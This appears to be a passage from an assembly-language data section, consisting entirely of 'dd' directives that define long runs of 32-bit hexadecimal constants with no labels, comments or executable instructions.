dd 80086EB4h, 0D840B5DCh, 84BFAB7Eh, 505EC31Ch, 119C06E5h
dd 5733039Eh, 29AF0ECCh, 5A0A129Bh, 32B201CDh, 310682DDh
dd 2CE17D2Ch, 0B179C6FDh, 0BE8C50EAh, 0BF966381h, 0F1AC20FCh
dd 8599310Dh, 0C87A71EFh, 0D2978C41h, 0A4329DB2h, 8FCC2670h
dd 62954C40h, 109D97D3h, 2A05C12Bh, 99A47BA8h, 0B4837DA8h
dd 0EEB4AFE4h, 3BB07997h, 65C16A12h, 292236Dh, 8BE04FB0h
dd 547CAA18h, 0F7A228A3h
dd 6CB2A050h, 5A8F381Ah, 2C0A409Dh, 40D9E9D8h, 0DE67F861h
dd 0B0A9077Bh, 9444182Fh, 0EB388296h, 48A2E9E5h, 87C09868h
dd 0DB6BBB6Ch, 345D3FEEh, 90CFB893h, 0B0DEDB3h, 510E8397h
dd 0A873E071h, 1AC9C63Dh, 12BED05Eh, 0E9922E03h, 2642F7CDh
dd 1E636825h, 51639AA6h, 0A50E5077h, 0AF4DE2A2h, 0DCD316DBh
dd 0AB76D36Ah, 380FA662h, 32A48AF5h, 75C3F6Ah, 82EE0D0Ch
dd 97D1E849h, 0C1310930h, 36D0BCAAh, 71AADFAh, 0AA165EABh
dd 7AF58B85h, 9F29F204h, 0AEC64AC8h, 8228F933h, 0A5F927C1h
dd 0F6E56B5Ah, 0B1DA2603h, 0F51F33CBh, 6AD7B16Fh, 4B6C8413h
dd 1DFC0CF6h, 6994C0DFh, 0A85AAE0Eh, 13CAE2D7h, 0D8A3748Ch
dd 0C9A42C8Bh, 0B607E092h, 8E06B3C3h, 400116Eh, 0CC1B20BCh
dd 6327CAAFh, 0F9E032D2h, 867CF1F5h, 9800AC02h, 4EF3A028h
dd 0FBBE4FE3h, 34D82BF1h, 6D3D659Dh, 0BF4A1B56h, 0A0661C96h
dd 19E24140h, 9D2A2468h, 0ABDB438Eh, 2C6787C5h, 0F653BF6Fh
dd 8CE3FFAAh, 9228F8B9h, 29D22CD1h, 83FBC74Dh, 63D266BAh
dd 0C931EF57h, 0C9975Ch, 73741774h, 62E72C69h, 8A7AF69Bh
dd 95822B50h, 806928B0h, 0A771E5EAh, 837BEC3Eh, 688093Ch
dd 5053921Ah, 0DDD6EDDCh, 0B5FB036Eh, 5513F5CBh, 9455022Ch
dd 0A33EF1C5h, 0C4E8BDA6h, 77D1E72h, 9B827882h, 7EA8ADA7h
dd 6A4B1163h, 0AB6D2374h, 2E285301h, 7629F1AAh, 725428F8h
dd 8F3375B1h, 9C84701Ch, 0DC2C15FEh, 4102A9D2h, 4A04543h
dd 2C04210Ch, 1C41A6FEh, 85307D87h, 7D3FDA94h, 0C9DD84BBh
dd 0A65DFD43h, 2ADB8EEEh, 0E4F8A265h, 0C5829109h, 7A7C33E6h
dd 7EE96E27h, 510B2902h, 0A2C96792h, 0F6E5DEBFh, 683E4FDAh
dd 5349432Ah, 0D42C7EEFh, 0F77067A0h, 5C6305FDh, 0FE5EE47Bh
dd 0E29B14E2h, 0A8E15CFCh, 43F95091h, 3FE40899h, 8D0BC5C1h
dd 87DCB6C2h, 8678AA29h, 5F7EC41Eh, 0AE52EB93h, 0AFEB18A7h
dd 5B0C7E0Eh, 66FC7C8Eh, 84639509h, 0FCA795B0h, 3B0A72Ch
dd 59D04DA5h, 3F0CAA79h, 1C390ED2h, 7CDE5B66h, 0C520F6E0h
dd 2DF86B0h, 9F592536h, 2B69FDAAh, 7B123047h, 0E1C0FFE9h
dd 1AE148D3h, 0B6EE5FECh, 0F2066949h, 3D8B0649h, 0C8193DB3h
dd 0B40113B7h, 7AB6A624h, 5FF685A9h, 9747A39Fh, 90A1A4E7h
dd 0FECB4273h, 0E1EC0FC9h, 0ADFD72Bh, 47F52FFEh, 0B600CC81h
dd 0EC2D8A3Eh, 0E11CEAAEh, 80D9EE0Fh, 9DD45AC1h, 2D9D37E5h
dd 45C3C92Bh, 0B315D028h, 0B1271E2Fh, 6D5A8C0Ah, 0EFA8EB13h
dd 0E5F836B6h, 43F73AE2h, 387575A7h, 0A69C78BDh, 83FC0EEDh
dd 8123EDF9h, 9EBF81D9h, 0E4D7B655h, 0E508832Eh, 8B6D1AF5h
dd 6D32177h, 591006A2h, 365FEF9h, 1B7FA408h, 81EA3AA5h
dd 190810AFh, 1DC54B18h, 0A0221CECh, 0E01F1C2Eh, 9A29CA4Fh
dd 29765853h, 64A8A91Dh, 99858D4Ch, 0F0FD1A72h, 4297ACDDh
dd 0F02F0AC2h, 87704F5h, 0F4DD85ABh, 7E50F64h, 85F401A2h
dd 784CB730h, 692DDAE5h, 0F06EB0BEh, 2AE72D16h, 687F3E7Dh
dd 0D8A1EF37h, 99410F36h, 55F223DBh, 6DF8D938h, 0D15DDF6Ch
dd 0D78B1499h, 0F08370A3h, 0E584B31Fh, 0E33F26BCh, 0B07C62E5h
dd 0D914CE22h, 3E215EECh, 970BA0AAh, 0DB157552h, 5CD90A7Ah
dd 6101004Fh, 0E2314341h, 0EA273F1h, 0D3F5DDF9h, 6D988F03h
dd 918C9A40h, 61893266h, 0D059BEC6h, 73D94534h, 0CFCDCAAFh
dd 0F59BC7FAh, 6C3D5B71h, 0CEC27A2Fh, 393D140h, 7AD55044h
dd 0EC7AEE96h, 0EF1E4Ch, 68ADA039h, 0D0E7666Eh, 0E3C83D6Ah
dd 68558F15h, 7FED93F2h, 2734E5F8h, 0C06F71CBh, 334282A0h
dd 69F01DA5h, 3AC413E7h, 5BA151BDh, 256A33F1h, 5259831Ah
dd 0F492E584h, 9F6943E5h, 3EE47C7Dh, 1412786Bh, 0A35D2C95h
dd 0BFF26A10h, 58DC4F06h, 32928BD3h, 8A09C558h, 1F4C565h
dd 17AE4C91h, 6E949F52h, 845D9EF1h, 2145CB70h, 0A079E642h
dd 42992CADh, 39DEEC6h, 0E44C380Bh, 3A7FC1Dh, 0E6B4941Ah
dd 0DC4370B4h, 0D937FC60h, 0A3BBEF6Bh, 6992B351h, 217D7239h
dd 0E3AC821Eh, 0DA32A9EBh, 0F0C76796h, 42355583h, 2DAA6899h
dd 45154EDDh, 861D0BCFh, 56EAD984h, 0E7815F36h, 6C2296C6h
dd 0E7B20CB9h, 16D87ECh, 0C4BC683h, 8EE08C95h, 5B3351C8h
dd 29A2ABC1h, 0BE0D4378h, 0FF0DF005h, 93DF4DC3h, 0F90F9F45h
dd 3ED5DC89h, 7722C98Bh, 5A38CA6Bh, 0B4289E52h, 601694C6h
dd 7AE032CDh, 4A266ED2h, 873C31F2h, 0CBBE47D1h, 37C831DBh
dd 6E6F8DDEh, 0BE9E2BAFh, 27C18F93h, 91B0C9A1h, 0B3FF358Fh
dd 7660D8ACh, 0D20AB047h, 289F0F0h, 82C441AEh, 0D36F2BAAh
dd 0DC0FD0CFh, 0F028C6B4h, 43D15D62h, 28E63D19h, 1F273F4Eh
dd 8907F668h, 3F98FAEAh, 7BE0C7B5h, 6368881h, 7EC5EF11h
dd 689ED1FEh, 72BE7BF1h, 0F8B23C3Fh, 62D7D686h, 82304A63h
dd 371489BFh, 73ED4255h, 4C71904Eh, 0D63B6D87h, 0E38D37A7h
dd 91B8C79Ah, 393EEAD4h, 65CDF697h, 993D16C6h, 3EF1B97Bh
dd 0CF4F3BAAh, 8691CF3Dh, 27E42F39h, 704419C8h, 50B8446h
dd 71EC3EA7h, 6EA8A228h, 14CB2424h, 0AB6F53B3h, 0B79C2FA0h
dd 8F8A26C9h, 92A594Fh, 0DC058C53h, 31C63DCCh, 2A0DA084h
dd 517DFDDEh, 0BFB90E3Ch, 27037B72h, 929C38B4h, 77F8358Ch
dd 3EEDDEA8h, 0A07EF7C6h, 28B081C6h, 47E5F860h, 3FCC51C8h
dd 34AE5FCAh, 0F8CF5371h, 0C4E6F4F9h, 0E9F53B23h, 8ED46FC8h
dd 0F9BC1C70h, 0BFF7CABCh, 0A5306B44h, 0E8EA640Ch, 94A26B1Bh
dd 1C5375C0h, 733B9950h, 1FF62FF6h, 1C40DBF8h, 8823830Fh
dd 3BB9CBEEh, 2D1B8271h, 373D7198h, 0E981C922h, 851BCDC3h
dd 3C343B22h, 767C5B7Eh, 12C02E21h, 6B956027h, 4A4160A4h
dd 3D3882A1h, 6564B2C8h, 31F7C413h, 0A6A56E09h, 913D5C68h
dd 0CB52B206h, 7E941B82h, 0A21B87BBh, 8E07242Eh, 4C187C07h
dd 0B5789EF2h, 99C28C61h, 0A603BFD6h, 6456558Ch, 10D122DBh
dd 528E2837h, 237BAEAAh, 820B90A7h, 73B8D0E3h, 0F4EE9F0Eh
dd 3616BEAFh, 103102BCh, 8375A309h, 417858A8h, 79186950h
dd 94A0AEDCh, 0C92862ECh, 4D17453Ah, 0D3537513h, 0A8199A53h
dd 0ED1FE96Ch, 4B1D787Dh, 0BD3EF741h, 5CEAB21Fh, 84B5D3A6h
dd 1BAD593Bh, 0BFF8DD6h, 0A69EAEDAh, 0D71A9529h, 2F629878h
dd 0C1277964h, 12BBFD13h, 6A7A3738h, 0CE44B13Ch, 563E510Fh
dd 349D7EACh, 87572FBDh, 0EBC06080h, 9C59CF01h, 29FE972Ch
dd 73AFA1D2h, 8A7C31B5h, 0D1DAFA8Ch, 3F762C5Ch, 6956C174h
dd 9ECE6BE8h, 0B567A233h, 5988D9E8h, 0F89D8D8Fh, 9AF16F0Ah
dd 8967A339h, 0C6245ADCh, 0E1CEE119h, 57AE9519h, 9A1131FDh
dd 0D455A81Fh, 72A4962Fh, 0B6F35C41h, 0B8DFD7D3h, 267BE4B0h
dd 0EEFF8D64h, 0C484E50Ah, 8F70E7E5h, 0A644F9C3h, 6E12DDB3h
dd 0E205A371h, 0BD4AD4DBh, 90A78BA8h, 35989FDDh, 0AC2D052Ah
dd 935EB281h, 0D7ADB550h, 0B8E07F1Dh, 66DAE7B3h, 0B150CE18h
dd 368F4FA6h, 0EAB41802h, 0F4E5E1Bh, 28B249AFh, 703F315h
dd 0E3F396h, 3D070DB6h, 5610042h, 0A1BEFC06h, 574E775Fh
dd 3D2EDEA8h, 72302187h, 9A1CEB5h, 0CC84E197h, 2AC84E4Ah
dd 0A60A6DD5h, 824E3FEFh, 0C5FFECA3h, 46F593DAh, 1697FCD5h
dd 698F8EEDh, 0DDB7D529h, 70F0FCE0h, 54F0FCCCh, 0F2AE6F60h
dd 86D51D85h, 0B6CDDC54h, 448562F6h, 905CA5BCh, 760F545h
dd 0FCE6F123h, 0AD8728A3h
dd 0B34A37C4h, 0BC771466h, 829DC4D8h, 0D0C98D96h, 58D862FCh
dd 51755DFh, 8C5C1231h, 0DE09E03Eh, 96B0C37Dh, 63C79303h
dd 549689FBh, 0F39EEB85h, 0C4FBF27h, 8ACC1C79h, 6F19BF64h
dd 0D75CEAF9h, 0C7F5E168h, 0F22C3328h, 922B146Ch, 9DF7251Ch
dd 240D8934h, 0E55043CCh, 0A5E46684h, 0BFE84AEBh, 0AF35D612h
dd 0CC1588B7h, 0F65F31B1h, 0CCA9E5BAh, 0DFCD3A4Dh, 61801D49h
dd 6C5BA6E8h, 353B5ECEh, 146A714Dh, 0FEA56346h, 0E04D0A03h
dd 6DA0F1F7h, 657D77BEh, 0C74DD1B2h, 8756FE6Ah, 6113FF75h
dd 0E5E6ED4Ah, 0E9E52905h, 34BA3A45h, 429C767Eh, 0C5E7516Ah
dd 4EAAE136h, 0A6CD0188h, 0CC6B7F8Bh, 69973914h, 0B5917FA5h
dd 0F2D7748Fh, 297CD473h, 2A8DF8ACh, 185919E5h, 0AC37D99h
dd 0FAE9EBE9h, 6C3A75EDh, 2C0805D8h, 0B93201E5h, 0C0F235Eh
dd 0B3752DF3h, 4AAA2DD0h, 2589715Ch, 0AFA76E0h, 0B95BB0h
dd 610F3052h, 253ECDE3h, 274A700Dh, 0C05B37AAh, 5F5F5077h
dd 0C4FF405Fh, 971692FCh, 0E40B4EEh, 0A32923FBh, 0C5CA39AEh
dd 0FE570494h, 2E85B617h, 264A7AACh, 9A5D0585h, 249241CBh
dd 22EB9FA0h, 6D471191h, 6D762F1Dh, 48773027h, 0F24C88ACh
dd 0AD00BEDBh, 2056F248h, 31A5784h, 9830E92Ch, 25575EB3h
dd 36304D0Ah, 104AF23Fh, 0BB237580h, 91D5F8D1h, 0F4924A6Ch
dd 7F93CB65h, 87FA5191h, 0DA92FCCEh, 0FF86C79Dh, 11C1A3BFh
dd 8F2A15DEh, 0C0ADA3Ch, 0F02D0C41h, 0DC0357C3h, 0BA1D410Ah
dd 6D76B1C7h, 4BC94243h, 0E573E4BDh, 0B067A66Bh, 0A4F7D01Dh
dd 0C5A4D1F3h, 3C2F5130h, 9E186B4Eh, 5713E620h, 312F6484h
dd 5AED4D02h, 0E4FC8CD6h, 740746E0h, 49F6CBh, 0A7A680A0h
dd 13975B6Ch, 0B187051h, 34C88280h, 18FC679Ah, 784CFAA0h
dd 0A58F73B0h, 9EF90C67h, 0EF7F48B5h, 936BE061h, 974F4DBFh
dd 0E017DA16h, 5BEF1E0h, 0E3AC3EBFh, 15CE811Bh, 5676B4A4h
dd 0A09F368Bh, 79C104B1h, 17BBAB61h, 0ED7647DBh, 0A6C6A573h
dd 0B505D0BBh, 0A4DC6A2Dh, 1ED1B15h, 51597B0h, 99547DF2h
dd 0AE58DBE6h, 4F160813h, 26D39173h, 125AF1F5h, 0AE415909h
dd 907B6CE3h, 0E237B2B7h, 6573FF50h, 17B449CAh, 10785188h
dd 5DE74A5Fh, 1E08E5A0h, 0AEDCF657h, 0EFDDDD3Fh, 876FED4Ah
dd 0F015C90h, 0B47DC7F8h, 6012ECF7h, 0E1DA149Eh, 0F9BBDB40h
dd 4060F54Bh, 4C76AC2Ch, 97DA993Dh, 835A9805h, 6B0D9399h
dd 2A8DAC92h, 0AD7E284Dh, 0D0B37B5Fh, 9BD9331Fh, 0E62BF2Dh
dd 5862136Dh, 36BF3FEAh, 0D6670C50h, 0E0F32D17h, 96104508h
dd 0E3AA6AE2h, 901BA3A1h, 0B9D04988h, 0AF68AC03h, 0AAF2BFF8h
dd 0BA208267h, 56D4E48Dh, 663D10F9h, 68CC408Bh, 0D7A41849h
dd 1A18464Bh, 0C8F9F84Dh, 0CA1447B9h, 0DA6C1ECCh, 0A91E01C0h
dd 0B19CD081h, 9E68BE4Ah, 8BBA1EB9h, 16D61DBEh, 63BAAB8Dh
dd 0CCC2C0D4h, 0A2898835h, 2D30937Dh, 0BEEC2650h, 5A19A08Bh
dd 9EBF3499h, 20C20267h, 630E9D07h, 0AE4B321Fh, 9C78050Ah
dd 96A74DA5h, 3CDF696Ch, 95EE6F27h, 0AA52814Dh, 33F7B03Ah
dd 70CA782h, 0B175E8CBh, 42E63F10h, 18A05DF8h, 0C40C9464h
dd 2BF5793Ah, 1BFF35F5h, 0CBD5FB1Dh, 0B51C7660h, 0FF698F07h
dd 0DAEF1FDEh, 2576973Dh, 18455B6Eh, 72815FABh, 1E33CBF9h
dd 0A231EB17h, 84E803A4h, 0E8CC8709h, 24519B1h, 9C3204FCh
dd 69C2887Ah, 0A8339Bh, 97313FAAh, 0F1AFFE77h, 0B091570Bh
dd 83802B06h, 3AA1BD92h, 3D0FFEB8h, 6CFE0117h, 799E5014h
dd 4C129AE4h, 0EBDF047h, 3D0DA6EBh, 0F2B0B113h, 4DDCAD0Eh
dd 0D3EEEB16h, 46EF323Eh, 0E6971CF7h, 45456436h, 3E1F2951h
dd 3FC95E47h, 12273DABh, 0DF6812F3h, 0C4FE01A5h, 0ED4A9766h
dd 26A82094h, 107C773Eh, 0EFB40BAh, 77C84ED6h, 0B884AB0Ah
dd 12CCA35Eh, 829ADE39h, 217E023h, 912D0CACh, 0AEAD8A0Dh
dd 0B0B379BDh, 51521136h, 0F8F2F75h, 40020AA7h, 0D39AB297h
dd 18638ECFh, 0F948AC9Dh, 0D4A3B354h, 0E08089E2h, 5A341404h
dd 5F210EB3h, 0D7220B86h, 0B4433C63h, 94ABBD76h, 80C9B713h
dd 0C788E4C6h, 15B35630h, 238C5BD6h, 0F8D6C614h, 2C337669h
dd 0C84823EBh, 5BAF2DDh, 0F31CA142h, 0DEF48C31h, 0F7F3C281h
dd 0AA26C779h, 76DD7BD2h, 0DF793103h, 4BAC9093h, 82B9DBFDh
dd 74505B31h, 39F30160h, 730A3C74h, 8FEDE332h, 187EAC69h
dd 3684F6FBh, 0AD945C37h, 44478995h, 8B62498Ah, 27587666h
dd 0C9A25CB2h, 615C607Eh, 0AF4D50Eh, 0EB90C715h, 6510BB7Eh
dd 8DD90A8Fh, 5518DB07h, 0A035BC7Fh, 0DECEC2D2h, 2E84008Fh
dd 3FABF852h, 97D78755h, 2F4E99Dh, 0F1683513h, 0B47573B1h
dd 670EFBBh, 0CA5ED3C1h, 0B7A376D3h, 41CD970Bh, 42AFD59Ah
dd 0ABA3DD13h, 61B88172h, 9D6C4CCBh, 0D9BCCEC4h, 0CDE83532h
dd 0C4ABEA08h, 0B6B41112h, 2F1F61C3h, 96F7D485h, 0B1BB3440h
dd 448D7DCh, 664EDB9Bh, 78A0A1D9h, 2A38FF49h, 573CCDAEh
dd 5D08A9A2h, 0FFF0D28Ch, 1811C936h, 374F2288h, 0A40DC98Ch
dd 323EC91h, 0A5E96C4Eh, 819B485Ah, 0C3B0107Fh, 63A8DB68h
dd 89BA5A5Bh, 9B12B4ADh, 7A250A8Eh, 8E108CA2h, 0CDBCB3D7h
dd 85A19080h, 603A3EBFh, 84ED05Eh, 0D94E94DFh, 35C608B4h
dd 0F3D2E192h, 48C49D51h, 8FD5D6F3h, 142293BFh, 0D362F415h
dd 0CBF9D657h, 1EBB58C7h, 37EFAAA8h, 299DB9D0h, 67E162DEh
dd 0AE57AD11h, 1B6426AFh, 3028E825h, 5F5476CFh, 6D1DB1A4h
dd 2D6AA156h, 0AD38CBEFh, 0FBA0D48Eh, 6D797D1Eh, 0FB808982h
dd 53DF5554h, 0D24020D0h, 2D71A378h, 97DF1F9Bh, 7EC11F68h
dd 0A234B2E0h, 0B3701575h, 385CC14h, 887AF72h, 38CCD481h
dd 0D5504215h, 9ACFFD3Dh, 0E69FEBE6h, 0EAA63C1Ah, 0AE9292A4h
dd 46840797h, 0F7A76436h, 2C2FB5CAh, 307F4C27h, 0BBD9F41Eh
dd 0F7D362E1h, 9D62F86h, 30BB2393h, 0BC782D9Dh, 829C16EEh
dd 7303B814h, 989903D1h, 1A9632A6h, 0FFE672C5h, 0C169F7BFh
dd 0EE634642h, 39DC71B0h, 93A37D79h, 0C0BE10C1h, 2489BA64h
dd 0DA31C53Eh, 44143EAh, 0E5B958E8h, 599BEB3Eh, 3358BB33h
dd 7C607858h, 86CD92C4h, 0DBE577FCh, 6A901C00h, 29E1BC5h
dd 430F48CEh, 906A5A9Eh, 0B9774827h, 277B5BF0h, 0F7D88563h
dd 1E33265Bh, 0BC514631h, 0E9AE5270h, 0C3618465h, 0CDBD5FFDh
dd 4645BD98h, 1CC9BBF3h, 8E568DECh, 7867AF36h, 0A6A9016h
dd 9DBF1205h, 0CF9FA8BCh, 660BD3BEh, 80C0F1A7h, 0D19C311Eh
dd 1F095124h, 3926DC54h, 5BC98ADCh, 491449E8h, 5998065Bh
dd 0A7FA09CAh, 0EE730F82h, 7F4CFCE8h, 67D2568Ch, 8761670Eh
dd 2B600852h, 984B37E5h, 69FCBBBFh, 8A80C9BDh, 0DFDED56Eh
dd 683D2283h, 9A781C0Eh, 8AAF05Dh, 6A01514h, 0E7EF35B1h
dd 0AE5052D1h, 0A4D5C560h, 82F561BEh, 0EBF55976h, 0EDA9D448h
dd 7CDF0F39h, 0AD05F03h, 9E10E1EBh, 0C5AF930Ah, 2C924C58h
dd 72088E4Ah, 742398FBh, 0CBC30DA9h, 192ECD92h, 0BA370ABAh
dd 0FD3F54D0h, 87B69970h, 0A651A474h, 904836E4h, 72A9BF90h
dd 0BB7493A9h, 32038B83h, 0B8846351h, 0B89737E5h, 0AE45CFDDh
dd 0B7C0AB55h, 0D4BB4592h, 6B9D33Fh, 0A9B59B5Fh, 0DA2B17CFh
dd 5DC05663h, 2F13583Ch, 2356D2A9h, 72B45BB0h, 0E7C3AC7Bh
dd 0E40BB2BEh, 5E0FCC2Fh, 0D30921D9h, 0D4D8B1Fh, 13482117h
dd 6AEFACA1h, 0DD4401E9h
dd 990DD776h, 293A2AEFh, 0DC40C62Dh, 0BB14AD77h, 8C39CFBAh
dd 0A13A406Eh, 0B31F4159h, 2CCDED3Fh, 5EF63056h, 0A95F92E5h
dd 0A08BD3B8h, 8E1354BCh, 125BD81Eh, 9D0F7F8Bh, 0EB768F8h
dd 0BED7C6D6h, 63B2C9CCh, 0B4F6598Ch, 1BFC273Ch, 0C4E79E30h
dd 0E315B079h, 19406B26h, 8C0B4069h, 77E3EA3Ch, 0D17865A9h
dd 73EADAEh, 0E4331AA5h, 50BF8C32h, 71E8425Fh, 0FB59AC4Fh
dd 0FC4AACC0h, 0AD07818Ah, 973B09Dh, 0B9A07961h, 0DF8FF596h
dd 0A0211E9h, 9A0AFB9Ch, 4D6F76DFh, 6940025Fh, 0B4D35E70h
dd 0F69E95E1h, 9758DA7Fh, 9162FB35h, 73C15D7Dh, 0C1860022h
dd 0ECACF161h, 7BED7074h, 9CEC0DCFh, 4FE206F3h, 501AF8B8h
dd 8A2B645Eh, 71A8231Bh, 3F851761h, 93A115DDh, 0A6A70CB4h
dd 7216B8B4h, 8620DFDEh, 0C49E95B0h, 5A8EE095h, 0AC6EBCA1h
dd 59E10469h, 0A694B428h, 6C9A026Dh, 444ED50Ah, 9560ACF4h
dd 0FE28DF20h, 0F031DD40h, 0BA799E3h, 0BFC87B3Bh, 0DCC8C0F6h
dd 0ACA02617h, 609E7E36h, 0ED33EBD4h, 0B9F94B26h, 9C4A88F8h
dd 376901E4h, 0B2D6A04Ch, 6D4ED0D3h, 0A7D66CD3h, 3A407455h
dd 1AF0E260h, 7235A436h, 0FBD0BA33h, 31123711h, 0A1FD973Eh
dd 0B0C371E7h, 0EB4A3F70h, 6320D13Fh, 0FB04EE15h, 2E8620A7h
dd 0B08BB08Bh, 8E911678h, 15C23DFDh, 3CEAD4B5h, 542C84C4h
dd 0A30F7B1h, 91D60161h, 6DA085E6h, 0F643298Ah, 60E4DDF5h
dd 0DC1139FEh, 0DBD61FA6h, 0E3096B38h, 542C7BE4h, 7B429A06h
dd 4350566Eh, 0D076C51Ah, 0D2486D4Ch, 0C0F7FF46h, 8B4CF391h
dd 7C8D0E0Eh, 0A1C57249h, 0EAC9EC6Ch, 639FA973h, 0DB9F7C0h
dd 62DE9BEBh, 0B0017A85h, 0FB4E0E69h, 6A54BBE3h, 4DFCC369h
dd 1F14A38Fh, 6FC4BF0Eh, 893E70A6h, 75272CF0h, 521E7EEEh
dd 8F62AD83h, 4597D55h, 7441C9E9h, 0C3EF8DC6h, 4579DF1Ah
dd 90610CC7h, 73318101h, 0DCF6D12h, 6A236DF4h, 75061136h
dd 8793CA8Dh, 8DDBD3EFh, 0AB6FFCE0h, 9841C09Ah, 843272D8h
dd 0E2537F0Ah, 0EED84DD4h, 8A9CF854h, 0F28D866Bh, 0B39AFCB9h
dd 0C118EBB2h, 714CD44h, 4EA4714Ah, 0A72F8B0Dh, 4BDFB7DCh
dd 0A938EC61h, 56C3283Dh, 0FD6707AFh, 993D6280h, 2BC025ADh
dd 5534EBDAh, 41981D53h, 0B16B6405h, 0A467CB8h, 6796167Dh
dd 0EB94BCE2h, 7E142B2Ah, 5D6857E8h, 57802CA7h, 5333FE34h
dd 69B2FC07h, 6C4C5AB3h, 2687E464h, 4FB5F69Ah, 0B9F048DFh
dd 0DA4C4267h, 7C37C2AFh, 3E8DD242h, 624EC618h, 9590AFF8h
dd 3F56D053h, 7E340FB8h, 40D39679h, 0B819584Ch, 4EE30531h
dd 0B6AD2B5Ah, 0F5694CA9h, 6292CB6Eh, 73AB69F9h, 0FA317F36h
dd 30698FA0h, 2CABEEE7h, 1C9C83D4h, 0E738F6C9h, 79A9231Ah
dd 8D34667Dh, 48A8CD9Ch, 0EB81D54Bh, 893A5C00h, 472FCF9Ah
dd 0E5DC35F5h, 98B48398h, 1F080789h, 0D65716CCh, 0FB3DE950h
dd 0AFA83367h, 716A5EA6h, 8F18D4Fh, 0B32C7157h, 28241FE2h
dd 0A63F1E3Bh, 9B44AE40h, 6AC8A6FEh, 8B6ACA63h, 1FA21555h
dd 0F29EB991h, 6E88F21Fh, 0CF76B31Ch, 0CF6ECD07h, 26C5976Dh
dd 0AA367902h, 9731C74Ah, 0B6CE0A2h, 0CA23F9F0h, 79B51FA4h
dd 0DCBD0FD5h, 4212E74Fh, 7FB41433h, 6DCD0751h, 0A9D91F50h
dd 1DABC0C8h, 646FC785h, 0B074F597h, 0C2B5AFEh, 0ED6A3941h
dd 0AADB7BAh, 29038DADh, 9750D182h, 0F98D34EAh, 280A01A2h
dd 7DBC6D2Eh, 0E3876AE0h, 5B1831D4h, 9C760ABh, 96888D93h
dd 55A5FB2Eh, 1F647A9Ah, 0B036EDE5h, 6370D606h, 4B718251h
dd 0BC11593Dh, 58523237h, 23CE0996h, 0BCAFBC43h, 71F31142h
dd 2A5F0AF9h, 89340600h, 4F544452h, 0A44A385Fh, 7415BB98h
dd 826A1729h, 5BB04FBEh, 598CFBDEh, 9FE7D3C0h, 64721177h
dd 0A3370A73h, 4970717Ch, 801438F5h, 805BD363h, 7E3573EDh
dd 681F698Bh, 0D8F5BB95h, 89186E66h, 0D7024A8Ch, 4DEC1C25h
dd 2B4FD972h, 6936F9DFh, 432D24EBh, 46FF6E27h, 7CB3E96Bh
dd 4709028Bh, 59D81531h, 4B89D1DDh, 0BCED5F46h, 5156C489h
dd 7476639Fh, 0E6831C9Eh, 912C0D9h, 16C75AEFh, 45C23F55h
dd 181DD83Ah, 0A7A04613h, 87B4A64Dh, 3BF1CF8Fh, 12F41ABBh
dd 0ACAF568Dh, 0A8F9E828h, 123A9CD3h, 319C8E5Eh, 0F4DD7CD8h
dd 3814C989h, 2D90D18h, 0AB39AE98h, 0BA2D5B88h, 0D27E464Ah
dd 24816E95h, 0E212220Dh, 0A0457435h, 3505ACAFh, 0DD748438h
dd 82C4D8F7h, 93F41636h, 0D3A1F3ADh, 0CEA3B741h, 0D50344E3h
dd 55FB512Eh, 9196DB23h, 620A3F67h, 33044C7Dh, 4AF37CF4h
dd 13386A40h, 3BA51636h, 0A81ACC9Dh, 0B5ADB86Dh, 0C3171FA9h
dd 21930F8Ah, 7D03A8A1h, 4DDA78D7h, 31AB6924h, 0EB5D295Eh
dd 21D2D541h, 2DC68566h, 3485FC92h, 735EF47Ah, 0FEB00CF5h
dd 4AC3C686h, 0D25B596Ch, 0FF17D96Bh, 627075D7h, 61DD6913h
dd 81764708h, 94A622C5h, 724B5CD9h, 435FAB38h, 0DB5466ECh
dd 0C4173D1Bh, 967B6010h, 0B635A1A4h, 0B4DA721h, 10EB1BCBh
dd 0B64AFBB2h, 0EF49B394h, 5361EAC3h, 8525CD62h, 1EEE86FEh
dd 853F85AEh, 0BBD7D67Ch, 8D0C288Dh, 3A3E6736h, 0B880F544h
dd 0C3462033h, 972F529Dh, 3D2F6DEFh, 0E76FCDAAh, 9AB883E3h
dd 0ECAF9DA2h, 1ECCCB57h, 260D8D08h, 4C048FB6h, 90470DA5h
dd 9FB17CBFh, 0B02F853Dh, 4E2EC3A8h, 0C1DD7853h, 3A29A134h
dd 0F4AF2565h, 689C228Fh, 96D8FB5Eh, 79EDC857h, 0DDF93887h
dd 6D1229F9h, 217F16C9h, 2852CD49h, 595FD836h, 1E612464h
dd 0C126EC65h, 889045F0h, 0CF206F4Bh, 42CE83h, 3BAFB388h
dd 0B68B83A7h, 29A1FEBDh, 46629AE9h, 73A743CAh, 0BF54ED17h
dd 0E5BA645Ah, 9484BA82h, 3286A443h, 0CE2BCCB3h, 0B9937BA6h
dd 0F847F4E3h, 20E0821Bh, 17FA03D0h, 1F36EE7Ah, 4986D9EDh
dd 60D7985Bh, 0CAE06FCAh, 3CB87BC0h, 8E023489h, 41B1150h
dd 1DF442D9h, 135DDA5Eh, 0E34AACDEh, 42019E21h, 0F50018CDh
dd 0F91871C0h, 0FB328F29h, 6F926D62h, 0F2ED2501h, 5375FCBFh
dd 8D2506Eh, 5FD092FDh, 0AD3A22BDh, 0D023DA0h, 90B570CEh
dd 0D8DC477Bh, 0F36304E7h, 0EDA7DC71h, 68CC9AA5h, 5E490DF7h
dd 6A402451h, 1C7BE1C1h, 0A156B9B7h, 865F5574h, 7810DE10h
dd 94D4C342h, 5E58A08Bh, 0EABADF8Ah, 0E5755D0Fh, 71FD1D6h
dd 476B9C6Eh, 87EE05B6h, 0CC2EBCC3h, 0ADB4A7CAh, 0B9ADE4BCh
dd 177C41F8h, 0B9DAFFDEh, 16643516h, 7C72AF98h, 410A225Dh
dd 380A5716h, 0EACF595Ch, 8E1F93B5h, 6D16F7BFh, 0F49BD217h
dd 51ED7C64h, 1562E18h, 3758DCCCh, 94B1492h, 5460AEB4h
dd 9DE90822h, 0E4C0CB4Eh, 7C0EDAFCh, 6A1596D0h, 5797A562h
dd 0D617D85Ah, 6A8E50E1h, 3AF3512Dh, 108EE475h, 143382E2h
dd 0C0BAE812h, 55CB2151h, 0A219F28Eh, 38774C25h, 1A2F96B3h
dd 0D25C8153h, 8906F5DEh, 0D661B187h, 0CBA41122h, 29CDFD8Bh
dd 0D91F7AD2h, 0B707785h, 2762262Ah, 1DD69CE7h, 0D5CD5AE2h
dd 3F747B74h, 0F3AF5371h, 24817D79h, 539AE0E2h, 0EF7CB196h
dd 81CB1CA8h, 4EE1F156h, 74CB7EF6h, 118172D2h, 8405DB3Fh
